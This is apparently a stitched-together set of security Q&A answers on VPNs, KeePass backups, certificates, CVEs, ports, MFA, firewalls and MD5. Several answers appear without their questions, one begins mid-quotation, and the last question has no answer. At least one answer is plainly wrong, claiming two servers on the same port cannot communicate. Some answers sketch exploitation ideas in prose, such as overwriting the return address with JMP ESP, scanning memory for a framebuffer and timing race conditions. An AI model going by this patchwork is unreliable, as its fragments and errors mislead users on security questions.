Port 88 forwarding for offsite users to authenticate with DC

You should never expose authentication server onto the internet.
It is safer to expose the VPN server and then make users connect to VPN first to your office network.
You can connect your two networks via VPN as well.
Use well proven, secure VPN appliance, there are some cheap software ones like OpenVPN.

VPNs are also prime target for hackers. Therefore it's good to have limited number of networks which can access your VPN (firewall), keep it always up to date, do not allow to connect without user certificate (so you need issue for each user SSL cert, this way brute force wont work on VPN), enforce good AV software for each client accessing it.

Regarding exposing SSL for the VPN, note that there used to be numerous SSL exploits, so having  user certs, firewall and updates is really important.

Users should be able to logon to Windows using domain credentials offline (without VPN), then logon to VPN and proceed with launching Outlook and using Active Directory and stuff.


For the course of this answer I am going to assume that Telegram actually does store your files for you (in cleartext) and actually allows you the recovery using a new valid SIM card for an indefinite period of time. When in doubt contact the Telegram support and ask for clarification.

Yes, this works and would be secure.

KeePass databases are encrypted and authenticated files which can only be unlocked given the correct set of credentials (e.g. keyfile, password, ...), thereby storing it at an untrusted location is perfectly fine.

However, I'd recommend a more involved backup solution. The first step would be to backup a specifically crafted KeePass file on Telegram, which only contains your credentials for standard backup targets (e.g. dropbox, google drive, AWS S3, ...) and can be secrured using your normal master password.  The next step is to setup automatic backups in your normal KeePass database to those locations. This has the advantage that you can recover your password database in case you lost all your physical backups but also provides an easy-to-use solution which doesn't force you to do a database backup by hand upon each change.


Why shouldn't a certificate's Common Name be used for identification?

According to this it's because the usage of Common Name is ambiguous, while Subject Alternative Name is unambiguous. Due to the ambiguity of its usage, checking it is more complicated and has resulted in security bugs in the past.


Why are some attacks more famous than others (heartbleed, BEAST, POODLE, etc)?

1) Cool names count.  Don't discount the value of public relations.

2) Heartbleed, BEAST, CRIME, and POODLE all impacted (or could be be reached through) web servers.  Web servers tend to be publicly available, widespread, and directly identified (in the minds of the press and non-technical public) as "THE INTERNET."  Therefore, these issues had a wider possible impact and a higher perceived importance.

3) CVE tries to dispassionately describe how badly a vulnerability can hurt, but there is such a thing as the death of a million paper cuts. A CVE 9.5 that affects something rare and protected - say, Oracle database clusters - is never going to be as famous as a CVE of 4.2 that affects Apache.

4) The CVE itself doesn't take into account how ubiquitous a software package is throughout the world.  Contrary to what I said in the comments below, there is one measure of ubiquity in the CVSS scoring; "target distribution (TD) metric measures the proportion of vulnerable systems in the environment".  But "This measure is calculated subjectively, typically by affected parties" and so I believe that's not part of the NIST CVE, that's what gets adjusted by RedHat or Oracle when they release advisories based on the CVE.  The bottom line is that CVE is not designed to determine how many people need to worry about an issue, but to determine exactly how worried those people should be if they own/use the impacted system

Take your pick of answers, there's some truth to all of them, as well as Xanders' commentary on the limitations of CVE.

It looks like FREAK is not going to cause a big splash despite having a cool name; it only impacts the subset of people who already don't care enough to make their web server secure.  I'm actually kind of glad to see the press didn't get carried away just because it was ALL CAPS...

(Edited to add #4 with quotes from Wikipedia's CVSS page, just trying to round the comment chain up into the answer)


How can you be caught using Private VPN when there's no logs about who you are?

Update/Note: This is not to discourage VPN usage. I personally use one of the providers mentioned below, and I'm very happy with it. The important point is not to have an illusion of being 100% protected by the VPN provider. If you do something bad enough that state actors are after you, the VPN provider aren't going to risk themselves for you. If those coming after you are motivated enough, they'll exert all possible legal (and not so legal) powers they have. Downloading torrents or posting on anarchist forums is probably not motivating enough, but death threats to up-high politicians on the other hand... If there's one thing to take from this post is this: Use common sense.

I've researched this subject for more than 3 years*: Looking for VPN providers, reading through their Privacy Policy and Legal pages, contacting them, contacting their ISPs when possible, and I've concluded the following:

I was able to find zero reputable/trustworthy and publicly-available (free or paid) VPN service provider that:

Actually doesn't keep usage logs.
Actually doesn't respond with your personal information when presented with a subpoena.

I'm not exaggerating, absolutely none, zero, nada, nula, nulla, ciphr, cifra.

* Obviously not a dedicated research for 3 years

Update: Regarding  "super awesome Swedish VPN service providers". Swedish service provider obey the 'Electronic Communications Act 2003 389'. Sections 5, 6, and 7 under "Processing of traffic data" completely protect your privacy, but go a little further and read section 8

  The provisions of Sections 5 to 7 do not apply

  When an authority or a court needs access to such data as referred to in Section 5 to resolve disputes.
  For electronic messages that are conveyed or have been dispatched or ordered to or from a particular address in an electronic
  communications network that is subject to a decision on secret
  wire-tapping or secret tele-surveillance.
  To the extent data as referred to in Section 5 is necessary to prevent and expose unauthorised use of an electronic communications
  network or an electronic communications service.

In case the authorities order secret wire-tapping, the service provider shall not disclose information about it

  Section 19 An operation shall be conducted so a decision on secret
  wire-tapping and secret tele-surveillance can be implemented and so
  that the implementation is not disclosed.

Update 2: Regarding other highly recommended super anonymous VPN services (I'll go over only the top two)

BTGuard: You only need to take one look at the Privacy Policy to know that there's something shady going on.

  Before or at the time of collecting personal information, we will identify the purposes for which information is being collected.
  We will collect and use of personal information solely with the objective of fulfilling those purposes specified by us and for other
  compatible purposes, unless we obtain the consent of the individual
  concerned or as required by law.
  We will only retain personal information as long as necessary for the fulfillment of those purposes.
  We will collect personal information by lawful and fair means and, where appropriate, with the knowledge or consent of the individual
  concerned.

You can clearly see the intentionally vague language: "fulfilling those purposes specified by us", what are those purposes specified by them? Nobody knows. They even clearly say that they'll collect personal information when required by the law. In the last point they even state that they even don't have to inform you about the collection of your personal information unless it's "appropriate".

PrivateInternetAccess: This is probably one of the easiest legal language in the business.

  You agree to comply with all applicable laws and regulations in
  connection with use of this service. You must also agree that you nor
  any other user that you have provided access to will not engage in any
  of the following activities:

  Uploading, possessing, receiving, transporting, or distributing any copyrighted, trademark, or patented content which you do not own or
  lack written consent or a license from the copyright owner.
  Accessing data, systems or networks including attempts to probe scan or test for vulnerabilities of a system or network or to breach
  security or authentication measures without written consent from the
  owner of the system or network.
  Accessing the service to violate any laws at the local, state and federal level in the United States of America or the country/territory
  in which you reside.

If you break any of their conduct conditions (mentioned above)

  Failure to comply with the present Terms of Service constitutes a
  material breach of the Agreement, and may result in one or more of
  these following actions:

  Issuance of a warning;
  Immediate, temporary, or permanent revocation of access to Privateinternetaccess.com with no refund;
  Legal actions against you for reimbursement of any costs incurred via indemnity resulting from a breach;
  Independent legal action by Privateinternetaccess.com as a result of a breach; or
  Disclosure of such information to law enforcement authorities as deemed reasonably necessary.


A good idea is to encrypt the key and then store on your system. Using a good  encryption algorithm like AES with a strong key is advisable.TrueCrypt is one such tool which can help you in saving your key securely.


What methods can I use to prevent a public API's limit bypass?

Data scraping is now a global industry. Some of these businesses (ie, Mozenda)  have 10k+ IP addresses they cycle thru for the same api pull. So what may look like different users to you may in fact be 1 user sucking your data dry by  making a copy.

Blocking a single  IP address  only  targets  small users. And  browsers  can be emulated very easily using headless browsers.

The question is why wouldn't you add  user authentication? Its easy to add and ensures you know who is using your data. And you can also set limits that way. Or you can  charge the user a fair price which would mean they dont have to scrape your data. OR better yet sell them full access to your data annualized. Hope this helps.

Jim


Are there any security concerns with storing private keys in browser's javascript?

You may want to consider using the Web Cryptography API.  Then, you can store the user's private key in the CryptoKey object, with the .extractable property set to false.  This way the private key can only be used for decrypting and/or signing messages within the browser - but can not be read (even by client-side scripting in the browser).


How to enforce on the OS level to recognise only certain keyboards

Windows

The short version is that you would want to install only the drivers you've approved. Then enable the following via Group Policy (or Local Group Policy). Your USB keyboard and USB mouse will adhere to this setting as will any USB device.

System\Device Installation\Device Installation Restrictions\
 Prevent installation of removable devices

Description of this setting is as follows:

  This policy setting allows you to prevent Windows from installing removable devices. A device is considered removable when the driver for the device to which it is connected indicates that the device is removable. For example, a Universal Serial Bus (USB) device is reported to be removable by the drivers for the USB hub to which the device is connected. This policy setting takes precedence over any other policy setting that allows Windows to install a device.

  If you enable this policy setting, Windows is prevented from installing removable devices and existing removable devices cannot have their drivers updated. If you enable this policy setting on a remote desktop server, the policy setting affects redirection of removable devices from a remote desktop client to the remote desktop server.

  If you disable or do not configure this policy setting, Windows can install and update device drivers for removable devices as allowed or prevented by other policy settings.

For a far more detailed explanation, see Step-By-Step Guide to Controlling Device Installation Using Group Policy. While it was last updated in 2007, the information is still applicable.

Mac and Ubuntu

Super glue?


Should a company physically destroy old HDD?

Disk is cheap, peace of mind isn't.  Shred the disks and you won't have to worry about them.

"But it's encrypted..." - is it?  Are all your disks encrypted?  If not, how confident are you that your asset management never ever confuses encrypted and unencrypted disks?  Are you willing to sink the necessary effort into tracking assets that closely?

Disk is cheap.  You won't earn that much from selling them, and people buying the rest of the hardware can backfill a disk pretty cheaply.  Just shred them.


In the MFA model, it is understood that the multiple factors come from outside the authenticating process itself. Else all authenticating processes are inherently MFA (itself plus the user's credentials).

So, to the laptop, it does not count itself as a factor. There would need to be more external factors, like biometrics, tokens, one time codes, etc.


Does SSH generate traffic when listening?

Does an open port generate traffic

No, only a connected port generates traffic. An open port is just one that will respond if you talk to it.

Is it possible to detect open ports locally

On Linux, the command netstat -tupln will show the listening ports, and the associated processes.

Is it possible to detect open ports remotely

If the port is TCP, and open to anyone then you can detect it by checking for the 3 way handshake.

If it uses UDP, it is only checkable if it responds, either with a port unreachable message, or data. If the traffic is just dropped you cannot tell if this was because ICMP is blocked, or if your message just didn't get a reply.


Wireless Activity Monitoring for PCI DSS Compliance

To answer your questions:

If someone could breach your wireless security, they may be able to sniff everything going across your wireless network. You may think this is only a small risk, however, if this traffic includes any usernames or passwords which are not further encrypted, then those might be at risk - which would weaken security further.

If they could gain access to an account on the wireless access point itself, there is potentially a wider risk of compromise of the connection into your network.

I wouldn't necessarily buy an analyser if you have an iphone, laptop or other mobile device as you can get free applications to do exactly this :-)

In terms of the question itself - it is arguable how much security a quarterly scan will give you; it really will only spot permanent wireless devices or ones that happen to be on at the time you are scanning. however, to get your PCI-DSS checkbox you had best do it anyway. As @AviD says:

  PCI compliance reduces the risk of the
  penalties of non-compliance


Looking at encrypted open office documents

What program(s) could I use on either windows or linux that would
  allow me to see the garbled encrypted content for the sheer novelty of
  it? Would a non-encrypted word processor document be able to be read
  with all its coded formatting and text?

Use any plaintext editor like notepad.exe, Notepad++, Gedit, Leafpad, nano, vi and many more. (As the name suggests, these are editors without any fancy formatting features, instead allowing to see and modify each byte in a file).

And a MS Word doc file (as example) is not very readable, even if unencrypted. Because the formatting part is quite much, and compression algorithms (to save memory) are used.

  Let's say some hacker did steal my computer and really wanted to read
  the files: what would they do to try and crack the encryption? Is the
  encryption key long enough in open office to make solving the
  encryption key take an astronomical period of time?

You don't have a secure-randomly generated key, but just a password, right? Then it usually depends on your password: While it is used to derive a key that is usable with encryption algorithms, the attacker can derive the same key if he has the same password.

The two main possibilities for an attacker:

a) Automatically trying a long list of known passwords, because many people use something easy like 1234 (even if it is not that easy, the lists are really long...)

b) Just trying everything possible, either passwords or derived keys (usually passwords because easier). Takes often longer than a, but will find the right password for sure.

If it is feasible depends completely on your password and on the used software / file format:
Eg. old MS Office 95 has 16bit keys, independent from the password length. This is one of the cases where key guessing is easier, because there are only 65536 possible keys. Maybe this sounds much, but it's so bad that it's not even funny. Even on a modern school calculator, it wouldn't be slow enough to get a coffee.
The newest version of LibreOffice, as comparison, uses AES256+PBKDF2+SHA1: With a good password, even the best hacker shoudn't be able to do anything.

And what's a good enough password, assuming you want to protect yourself against NSA&Co.? Current realistic cracking efforts seem to be able to break 72 high entropy bit, let's use 80 to be secure. If you use a (good) password generator instead of choosing your own password, and you want passwords with uppercase+lowercase+numbers, this means you need at least 13 characters. If you choose your own password ... according to NIST (800-63), long human passwords average on 1.5 per character, this means at least 54 chacacters long.


What are the most tolerable options for a more general public type not to be victimized by malware?

Perhaps with one of the technical situation, point my friend to user education saying things like "Don't download software that you hadn't set out to get. The price of Marine Aquarium of $20 up front is dwarfed by the hidden price tags of adware and spyware offering a free aquarium screensaver."

Start by hardening the mind to have a security focus mentallity, why? Because of social engineering attacks, attacks in which the attacker will fool the person into running the malware. These attacks works because the victim allowed it to happen and no amount of technical  security will stop that. Understand that the human user is a big vulnerability to security.
Example:

A Trojan horse in which the malware will be made to look like something innocent.

An attacker leaving a USB drive out with a note that says top secret.

A message like, "Hey I have found some leaked photos of you download it at link ."

and many more.
Basic stuff like:

Think before you act.

Don't trust everything you see or hear.

Don't click on strange links or ads

Don't download any and everything you see.

Don't plug in strange USB drives

Can be very powerful.
So user education first...


Autofilling sensitive information for publicly available form

The customer won't need an account

This requirement is fundamentally inconsistent with your intent to store personal [and payment?] data for customers and have it be re-usable on subsequent purchases.

If you're storing that information for re-use, then it needs to be protected by some form of authentication - password, SMS token, cookies, something that the customer presents to validate their ownership of that personal information.  Otherwise, as you say, anyone can pull it up.

Redacted information doesn't work properly as an authenticator - it's intent as you've described it to keep honest people honest, so that someone seeing the wrong details will abort their purchase.  But with dishonest people, with malicious purchases, that helps you not at all - they can click 'Yes' to charge someone else's account.  If delivery isn't tied to that account's address, then they can try to gain delivery; if it is, they can still grief legitimate customers with bogus purchases.


It sounds like you want something like Kerberos.  The short version of what Kerberos does is it lets a single server be responsible for authentication and then generates a Ticket Granting Ticket for the user that can be used by the user for a period of time as proof that the user has verified themselves with the Kerberos server.

Services can then make a challenge against the TGT (ticket granting ticket) that the user has and the user can respond to the challenge to prove that they are the holder of the TGT and that the TGT originated from the Kerberos authentication service.  Thus, the service knows to allow the user access.


Short answer is that you can use your own payload, but that payload has to play nicely with the host exe.

There are numerous tutorials that I encourage you to look at.


Presumably you are referring to stack canaries, which is a runtime construct and trivial to find. You want them to be short for performance reasons as they are compared every time a function returns.

You can find some more information of the performance of protection here: https://research.google/pubs/pub43809/


Are there security advantages to adding an OTP to SSH connections?

What advantages do you see with OTP for web applications? Could there be the same advantages for SSH?
So the question is, which threats do you have when using SSH keys?

I think one central threat is, that you can not control or know if a user looses his private SSH key. You can not even know or assure in the first, if the user protects his private SSH key with a passphrase. (unless you are using smartcards for the private SSH key).

So in my opinion, yes, it can improve security to also add OTP to an SSH connection given:

The administrator controlls the creation of the OTP devices and
You are using hardware OTP tokens

In this case

the user can keep up security by protecting his private SSH key (which can not be controlled by the administrator, the company or organization)
the administrator can keep up security by controlling the secure 2nd factor of the OTP token.

I wrote a blog entry about this utilizing privacyIDEA to manage the OTP 2nd factors.


Is it common for nginx to allow access to a shell?

No.
Is it common for people to create/configure websites that allow access to the shell?
Kind of. Unfortunately.
Does it cost nothing to check?
Yes.


Technically speaking, decompiling obfuscated code is the same as decompiling non-obfuscated code. The way obfuscation in .NET works is by making it rediculously hard to follow the logic of the codepaths by routing the calls through randomly named types/methods/properties/etc in non-obvious ways. The whole point of obfuscation is to prevent people from decompiling code through the likes of Reflector and understanding how the internals of the code works.

There is no easy way to back out of the obfuscation. You are pretty much stuck with walking the code as-is.


Can my employer see my browsing history from my home?

If you are using the company WiFi on your own devices and the employer has no direct control over these devices (i.e. no special software installed, not company managed) then your employer can not directly access your browsing history.

But it might be possible to infer some information from what your phone or laptop currently does. For example you might still have web sites active which you've opened at home and which continue to communicate in the background. Also your employer might get indirect access to information which advertisement and tracking sites collected about you while you visited sites at home by placing ads targeted to a specific user profile and origin (i.e. the company network) and checking if the ad was served to you. This is possible even if the sites are visited by HTTPS and even more information might be available for sites visited only with plain HTTP.

Note that this kind of indirect analysis is not trivial though. So it is unlikely that your employer will do it unless they are suspicious about your behavior and want to look closer at what you do.


How to tell if a SSL cert is 128 bit or 256 bit?

So is it a 256bit SSL cert?

No. There are several aspects which are relevant for a certificate:

the type of the key, usually RSA or ECC
the size of the key. The strength of the key depends both on the type and the size, i.e. the commonly used 2048 bit RSA and 256 bit ECC keys are  roughly equivalent
the signature algorithm, i.e. SHA-256 + RSA

When talking only about "this is a XXX bit cert" one refers to the key size. So  in your example this would be a 2048 bit certificate or more specific a certificate with a 2048 bit RSA key. And this certificate was signed by the issuer with with the issuers RSA key and a SHA-256 hash over the certificate.

Another important factor is the strength of the symmetric encryption of the data, i.e. the algorithm and its key size. But this is independent from the strength of the certificate and thus outside of this question. But any claims by a CA that their certificates are good for 256 bit encryption are just marketing, because this can be done with any certificate.


Different parties are being
   authenticated during each of the phases of negotiation.  During the
   first phase, the parties being authenticated are the ISAKMP
   servers/hosts, while during the second phase, users or application
   level programs are being authenticated.

If you look at the RFC of ISAKMP, in the section 2.3 (Negotiation phase) it talks about advantages of such implementation:

  While the two-phased approach has a higher start-up cost for most
     simple scenarios, there are several reasons that it is beneficial for
     most cases.

  First, entities (e.g.  ISAKMP servers) can amortize the cost of the
     first phase across several second phase negotiations.  This allows
     multiple SAs to be established between peers over time without having
     to start over for each communication.

  Second, security services negotiated during the first phase provide
     security properties for the second phase.  For example, after the
     first phase of negotiation, the encryption provided by the ISAKMP SA
     can provide identity protection, potentially allowing the use of
     simpler second-phase exchanges.  On the other hand, if the channel
     established during the first phase is not adequate to protect
     identities, then the second phase must negotiate adequate security
     mechanisms.

  Third, having an ISAKMP SA in place considerably reduces the cost of
     ISAKMP management activity - without the "trusted path" that an
     ISAKMP SA gives you, the entities (e.g.  ISAKMP servers) would have
     to go through a complete re-authentication for each error
     notification or deletion of an SA.


If you configure your firewall to block all incoming packets, then an nmap scan will show nothing, and OS detection will fail.

If you want have some open services, you can restrict them by source IP address, and scans from other IP addresses will not detect them.

If you need services open to the whole internet, then port scans will detect these. There's no way round that.


Are call stack addresses predictable with all protections disabled?

[why can't you] inject JMP ESP directly into the address of EIP, why do you need to
find an address that performs this call?

First of all, EIP is a register in x86. It itself does not have an address pointing to it. What you mean to say is more along the lines of "the value on the stack that will be popped into EIP at time of return". This is important, because you can't just "inject" or put instructions into EIP; it only holds a 4-byte address pointing to the memory address of the instruction to be executed. If you tried to put the opcodes directly in EIP, you'd get a segfault since invalid memory would be accessed.
You might need the jmp ESP or a similar gadget in this case in order to redirect execution to an address you cannot (easily) guess, assuming ASLR is enabled.

[why can't you] add +4 to the return address as the shellcode comes right after the
return address

If PIE is disabled (which is a fair assumption for an old fashioned exploit like this), then you are able to know the addresses of all the program's instructions. So you know where the program normally returns, but you don't know the stack address where that value is stored. So no, you can't add 4 to an address you don't know unless you are able to leak it somehow.

Isn't the shellcode always right after the overwritten EIP?

Not necessarily, it depends what is on the stack, or the shellcode could end up in the heap depending how the program is written. Technically, it would be before since it would be lower addresses.

And if ASLR is not enabled, do you then still have to find an address
with JMP ESP?

No, if there is no ASLR or you are able to leak/guess/bruteforce where the stack is, you can use that address directly such that it ends up in EIP.
As far as call stack depth goes, maybe I'm not understanding the question, but I can't think of any impacts from that.


How can we assure Non-repudiation without a personal certificate (eg. using ID authentication)

Think you can apply Something You Know, Have, or Are authentication principle, right now many fintech business use many different "2 of 3" combinations on this, like password+phone authenticator, registered phone number+fingerprint, etc. but as @maarten-bodewes stated, optimal solution to this answer lies on social context where it would be implemented.


Does having Frontend and Backend on the same port any consequences?

Let's say you have 2 Servers running different APIs and want them to communicate with each other. If client and server are on the same port, they will not be able to communicate since the port is already on listen mode.


Virus Removal Boot Disks -- a few questions

If your machine can boot to USB, then you can use an image designed for USB booting, but most are designed for CD/DVD
Just about every AV vendor has a live CD to boot from. Look for one that can access up-to-date virus definitions.
They are very practical from the standpoint that they can inspect the disk while it is at rest and not running an operating system. There are still types of malware that can hide from offline scanning, but live CD's are a real option for most types of malware. On the other hand, in my experience, live CD's can be extremely slow, which reduces their practicality for regular scanning.

EDIT

Just like any software, improvements come over time, so getting the most updated version is important. ... I'm not sure why point #4 was added ...


Discover framebuffer address on unknown architecture?

If you see what is on the display or if you can even make the device show picture of your choice, you can guess the data that represent the pixels in the framebuffer. You just need to know the pixel format or try all the typical formats (RGB, BGR, RGBx, BGRx ...). Then you just scan the whole memory for the data you expect to find in framebuffer. Reading is much less destructive than writing and you don't need to observe if the display changed between writes.

Example: Let's say you know that at the moment of execution there is line of pixels containing black, black, white, black and white pixels in this order. Make your exploit scan memory for 000000 000000 FFFFFF 000000 FFFFFF. If you find a match, you may have found an address inside framebuffer and you can try to write to it to output on display. Obviously the longer the pattern is, the lower chance of false positives.


Is it possible to plan for race conditions?

You would need to be able to trace the execution of the vulnerable program somehow to detect when the code in question gets executed. One possibility would be a debugger or ptrace. But to trace the program this way you would need to have the appropriate permissions, i.e. same or higher privileges than the user executing the program. But in this case you would not need to exploit the vulnerability at all because you have the same or higher privileges already.

Another way would be to watch for specific events which gets usually executed shortly before the vulnerable code and which are visible with lower privileges. This might include the creation of files in public directories or similar. The details for these events and if they exist at all highly depend on the program you are trying to exploit, i.e. there is no general application-independent way to detect the time when the vulnerability could be exploited.


Google Account: implications of using application-specific passwords

You wrote (emphasis mine):

The higher the number of application-specific passwords the higher the chances are of a brute force attack succeeding.
These passwords have a fixed length and don't contain numbers or symbols, which make them more susceptible to brute force attacks than a password with unknown length containing letters, numbers and symbols.

Short answer: Not in any practical way.
Long answer:
Do the math: 16 lower case letters allows 26^16 different passwords, that is more than 10^22 = 10 × 1000^7 = ten sextillion possible passwords.
If the password is chosen randomly with equal probabilities (we have no reason to believe it is not the case), the odds of breaking the password by brute force are negligible, even if Google does not notice the attack and does not take any counter measure.
Even with 100 application specific passwords for one Google account, there is no way anyone would try this attack. The "susceptibility" to brute force attacks is zero.
And it is much easier on many smart phones to type a password made of only lower case letter than a combination of letters and digit or mixed-case letters (for the same number of possible passwords).
You also wrote:

Google does not automatically disable app-specific passwords when they are suddenly used out of their expected context (e.g. to access e-mail even though it was set up for Chrome sync).

That is the only real security issue here.


What are the risks of remoting in (RDP) to a compromised system?

A true story

When I was in grad school the computer systems in our department were hacked.  It turned out it was hacked because a malicious attacker got a hold of the username/password for one of our users, connected in, and then managed privilege escalation from there.  Being young and naive I made a comment to my advisor along the lines of "Who can be stupid enough to share their username and password???".  My advisor quickly answered with: "Actually, that was me." (which obviously left me feeling like the idiot, and taught me a valuable lesson about not jumping to conclusions or running my mouth).  He then explained:

He had been visiting a different institution and connected to their systems.  He did not realize that their server was compromised (they didn't know it yet either).  He then ssh'd into his own account in our system, and in doing so the compromised system had no problems at all reading his username and password and sending it back to the attacker (the ssh client on their machine had been replaced with a malicious one).  They were then able to use that to get into our system and go to town on our servers.  All that to say:

The biggest risk of connecting to a compromised machine is that you must assume that absolutely everything you do will be recorded and sent off to the attackers.  Do not connect to any other systems from the compromised machine.  Do not connect to your email from the compromised machine.  Do not connect to any websites at all from the compromised machine, unless it is the sort of thing that you wouldn't mind posting publicly on the internet along with all of your access credentials.  Granted, this probably goes without saying, but I've found that sometimes leaving the obvious things unsaid comes back to bite you later.

Your actual question

Of course this isn't exactly what you were asking about.  Presuming you don't do anything important on the compromised machine, there is certainly still some risk involved in connecting to it.  I would expect the risk to be low as it (seems) unlikely that the compromised machine will be able to directly infect your machine.  It's certainly impossible to rule out a zero-day vulnerability that may allow the remote machine to take over the client, but it is probably a lot easier to spread over network connections then hacking backwards through the RDP protocol, so I doubt there are really many viruses/rootkits/etc. that actually do that.  There are other resources shared between client and server that you will have to watch out for.  Still, given how easy it is to setup a virtual machine, I would consider it a reasonable precaution to connect through one:

Spin up a virtual machine
Use the virtual machine to connect to the compromised RDP server
Trash the virtual machine afterward.

Your mileage will vary.  We all have different level of risks that we are willing to accept, and different levels of "inconvenience" we are willing to undergo to avoid those risks.  I don't keep up on the RDP scene (I'm a linux guy), but in a quick search I found plenty of RDP security vulnerabilities but none that appeared to allow the remote system to gain control over the client.  An additional layer of security might not hurt, but remember to never trust anything from the compromised machine or do anything of any value at all while there.


Are there any observed Rowhammer attacks in the wild

It is not observed by us (or better said not widely reported) because it generally was considered impractical. But in several occasions, even recently, it has been demonstrated to be doable (at blackhat too).

So Row-hammer attacks are still a realistic threat even to modern systems, which is most disturbing. Since defenses get better, attackers will likely target more hardware bugs, even if the hardware must me more specific.

I think we will see something public if the attacked target will be large/important enough.

RH resources here

Also see DRAMMER


How can a coffee shop block VPN connections?

It can be either. Technically speaking one can block

a remote IP
a remote port
a specific pattern of traffic

Even though VPN connections are encrypted and if you choose a non-descriptive IP and port, someone can still rely on the traffic pattern. This is not foolproof and heavily depends on the protocol but for instance OpenVPN is blockable this way (the way it initializes its connection (the  "handshake") is specific).

The pattern filtering is available on higher-end equipment so I would guess that  the filtering will be on the port. The blacklist is not simple to maintain so it is less likely.

It can also be that only some ports are allowed (HTTP and HTTPS usually) so anything else (including your VPN) is rejected.


Can I add my own VPN to a hosted website?

... regular web hosting company. Can I add VPN software to it?

This depends on what your "regular web hosting company" (whatever this exactly is) offers. If it offers only a way to put some web pages on the internet then you cannot add some VPN software. If instead you have a dedicated server or VPS you can usually do it.

  ... it seems to involve setting it up on your home computer. Is that the only way to host your own VPN?

You set the VPN endpoint where you want the VPN endpoint to be. This might be at home in case you want to protect you are outside and want to use some Hotspot in a secure way. But this can also be somewhere on the internet (i.e. dedicated server, VPS...) in case you don't even trust your local ISP. Note that a VPN only protects the connections between your local system running the VPN software and the VPN endpoint and offers no protection after it left the VPN endpoint.


How was pentest performed in the era with no frameworks like Metasploit?

The same way a Capture The Flag challenge happens, you craft everything yourself.

In the end metasploit, nessus and nmap are all tools or a collection of tools to perform some tasks more easily. But you can "easily" write them yourself. A basic port scanner is quite easy to write. The thing is that Nessus and Metasploit reduce the time you have to spend as a pentester and the exploits are ready for use, this means you do not need a lot of skill to apply the exploits.

What you are trying to do requires some very deep understanding and I fear that we cannot explain you how to craft such an exploit in just a few steps. I advice you to study this a bit further. Books like the Shellcoders Handbook are really good at explaining this, but it's not for the faint hearted.


How do email clients "send later" without storing a password?

Sparks stores your account credentials on their systems. This is also described in their privacy policy:

  INFORMATION WE COLLECT AND HOW WE USE THIS INFORMATION

  Auth login or mail server credentials: Spark requires your credentials
  to log into your mail system in order to receive, search, compose and
  send email messages and other communication. Without such access, our
  Product won’t be able to provide you with the necessary communication
  experience. In order for you to take full advantage of additional App
  and Service features, such as “send later”, “sync between devices” and
  where allowed by Apple – “push notifications” we use Spark Services.
  Without using these services, none of the features mentioned above
  will function.


What information can you get from a photo?

You're talking about a photo's EXIF data. It's metadata embedded into photographs by the device taking the pictures. Often it includes:

Device information (model, sometimes serial number)
Photograph information (Resolution, aperture, focal length, size, etc)
GPS Information (Lat, Long)

There are tools out there to strip EXIF data from pictures if you're concerned about it. See these Google Results for more info.

EDIT  --  How Metadata Works
Metadata is simply additional information about the file. All (I guess I should say most) files have some sort of metadata associated with them, including create date, modified date, metadata change date, and last access date (research tools like IMG_CAT, FLS, and iStat for more info on obtaining metadata).

Basically, a file is nothing more than a sum of binary data (1s and 0s), so metadata is additional binary added to the binary that makes up the image. It's located in a specific area of the file (known as the offset, usually represented in hex i.e., 0xLOCATION) and can be observed with the tools mentioned above or by opening the image in a hex editor given that you know where to look for it. This illustration may help understand how metadata is packaged into the file.


Smart cards and firewalls are what type of access control?

Short answer: Both smart cards and firewalls would be considered technical access controls.

There are three types of access control as defined by ISC2, technical, administrative, and physical. Physical includes badge readers, physical locks, etc. Administrative would be policies or procedures about access. Technical includes hardware or software systems which provide access control.


This looks more like a bug in the application which is ignored or handled by the server rather than something exploitable.

This code (in c#)

List<string> list = new List<string>();
list.Add("Hello");
list.Add("World");
Console.WriteLine(list.ToString());

Outputs:

System.Collections.Generic.List`1[System.String]

So it would appear that while the developer is expecting to output the contents of the keys and value lists into the url they are in fact just outputting the type of the object. Since it doesn't seem like this features can work in the first place it's difficult to see how it's exploitable, it probably falls more under the information disclosure category than an exploit.


What's the difference between an "application-aware firewall" and a "web application firewall"?

An application-aware firewall understands not only ports, but that specific applications listen to specific ports.  They are indeed host based (installed on a user workstation or a server) and prevent malware from listening on a port that would normally be used by a legitimate application.

For instance, you might open port 80 on a traditional firewall because you have IIS running, and want to allow web traffic.  If malware were to kill IIS and start listening on port 80 instead, the traditional network firewall is going to happily deliver traffic to it, because all it knows is that it has a rule saying that it should allow traffic specified for port 80.

An application-aware firewall on the other hand, has a rule allowing traffic to IIS specifically, and if malware shuts it down, then the firewall will start blocking traffic to the ports that IIS listened on, and in the absence of additional rules allowing that traffic, the malware is effectively blocked by default.

The inbound example is real, but slightly contrived.  Where this becomes  particularly useful is in situations where you have a very locked down host and a limited set of applications that need to be allowed to communicate outbound.  You now no longer need to allow outbound traffic via open ports through the firewall at all, but can simply set application specific rules allowing only the set of applications that need to communicate outbound to do so.  Done correctly, this can severely restrict the ability of malware then to communicate with command & control infrastructure, to exfiltrate data, or to be used for further lateral movement in a network.

A web application firewall, on the other hand, is application-aware in a different sense, in that while it is still just a network based firewall, it has a specific understanding of what HTTP traffic looks like, and can inspect the traffic and apply rules to identify and stop potentially malicious traffic before it gets to the HTTP application.   So, it doesn't care if the web server application is IIS, Apache, or malware for that matter, but if it sees an inbound request that contains a common SQL injection pattern, for instance, it can refuse to forward the request on to the web server, protecting it from attacks that it may not be designed to protect itself from.


Why does some popular software still use md5?

Most remaining usages of MD5 are due to developers who just don't know better. If you are a frequent reader of this site, then you will soon learn that the "default" hash function to use is SHA-256; that's what cryptographers and standardization bodies recommend. But you will also notice an apparently endless stream of people who want to use MD5, or suggest MD5, or begin to ask themselves questions about MD5 and are in search of some guidance. This means that:

There is a considerably heavy Tradition of using MD5.
Information about how SHA-256 is much better than MD5, is not that widespread.
Most developers do development and are not skilled about security (and rarely care much about it). The "normal" development method (by which I mean the way most developers work) is:

Google up the current problem.
Copy&paste the first decent-looking solution that appears in some random blog or Q&A site.
Compile, run.
If it seems to work, blog about it. (optional)
Go to the next problem.

It is no mystery that 95% (at least) of Web sites and related applications are developed that way. But the Web is full of MD5; therefore, most applications will be full of MD5 as well -- and, because of point #4 above, the Web will be even fuller of MD5.

Note that in most cases, there is no urgency to replace MD5. MD5 is completely broken with regards to collisions, but it is still (almost) as good as new for preimages; also, it seems still fine for use in HMAC and derivatives (including PBKDF2). Collisions are not an issue in many case (and this includes password hashing; the problem of MD5 for password hashing is not collisions, but speed). So while MD5 is quite past its prime and shall not be used for new applications, a lot of existing usages of MD5 are still reasonably robust and do not warrant emergency update. Do not panic.


How does a CDN actually prevent DDoS attacks, when an origin server accepts direct connections?

